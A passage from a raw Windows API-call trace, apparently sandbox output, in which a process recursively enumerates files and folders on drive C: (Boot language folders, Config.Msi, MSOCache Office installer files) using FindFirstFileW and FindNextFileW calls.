| out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.085] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.085] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.085] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.085] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.085] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.086] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.086] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.086] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.086] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.086] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.086] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0047.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.087] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.087] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.087] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0047.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.087] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.088] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.088] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.088] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0047.088] FindClose (in: hFindFile=0x58bca8 | out: hFindFile=0x58bca8) returned 1 [0047.088] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0047.088] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0047.088] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0047.088] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0047.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.088] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0047.088] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 0 [0047.088] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.089] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0047.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="\xf920\x2fa\x6fb0\x11c\x5c\x5c\x3f\x5c\x6fbe\x11c\xf670\x2fa\x39c8\x12a\x08\x01\x6fb8\x11c")) returned 0xffffffff [0047.089] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0047.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.089] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0047.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593020 [0047.095] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.099] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0047.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.100] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.100] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0047.100] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0047.100] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0047.100] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.100] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.100] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0047.100] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.100] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0047.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 